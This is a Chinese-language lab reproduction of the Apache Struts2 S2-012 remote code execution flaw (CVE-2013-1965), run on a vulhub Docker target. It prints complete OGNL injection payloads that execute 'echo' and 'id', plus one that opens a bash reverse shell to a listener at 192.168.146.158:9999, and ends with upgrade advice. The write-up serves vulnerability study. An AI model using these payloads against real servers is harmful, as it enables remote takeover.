1 漏洞信息
| 漏洞名称 | 远程代码执行漏洞 |
|---|---|
| 漏洞编号 | CVE-2013-1965 |
| 危害等级 | 高危 |
| 漏洞类型 | 中间件漏洞 |
| 漏洞厂商 | Apache |
| 漏洞组件 | Struts2 |
| 受影响版本 | 2.1.0 <= Struts2 <= 2.3.13 |
| 漏洞概述 | S2-012中，包含特制请求参数的请求可用于将任意 OGNL 代码注入属性，然后用作重定向地址的请求参数，这将导致进一步评估。当重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时，将进行第二次评估。这使恶意用户可以将任意 OGNL 语句放入由操作公开的任何未过滤的 String 变量中，并将其评估为 OGNL 表达式，以启用方法执行并执行任意方法，从而绕过 Struts 和 OGNL 库保护。 |
2 环境搭建
2.1 环境概述
-
Linux操作系统
2.2 搭建过程
拉取镜像
cd vulhub/struts2/s2-012docker-compose up -d
访问http://192.168.146.158:8012
3 漏洞复现
点击submit，构造一个恶意的payload并发送。
name=%25%7B%28%23cmd%3D%27echo+has+vul%27%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23a%3D%28new+java.lang.ProcessBuilder%28%23cmds%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29%7D
payload原型：name=%{(#cmd='echo has vul').(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#a=(new java.lang.ProcessBuilder(#cmds)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())}
发现成功执行了echo has vul，说明存在该漏洞。
既然发现漏洞了，那我们可以构造一个payload，执行id命令。
name=%25%7B%28%23cmd%3D%27id%27%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23a%3D%28new+java.lang.ProcessBuilder%28%23cmds%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29%7D
payload原型：name=%{(#cmd='id').(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#a=(new java.lang.ProcessBuilder(#cmds)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())}
成功执行了id命令。
接下来开始反弹shell
bash -i >& /dev/tcp/192.168.146.158/9999 0>&1访问漏洞url并且添加恶意payload进行抓包。
name=%25%7B%28%23cmd%3D%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.146.158%2F9999+0%3E%261%27%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2Fc%27%2C%23cmd%7D%3A%7B%27%2Fbin%2Fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23a%3D%28new+java.lang.ProcessBuilder%28%23cmds%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%29%7Dpayload原型：
name=%{(#cmd='bash -i >& /dev/tcp/192.168.146.158/9999 0>&1').(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#a=(new java.lang.ProcessBuilder(#cmds)).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close())}
攻击机进行监听，然后发现成功反弹了shell。
4 修复建议
1、推荐的解决方案：升级至比受漏洞影响的更高版本。
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原文始发于微信公众号（NS Demon团队）：【漏洞复现】S2-012 远程代码执行漏洞(CVE-2013-1965)
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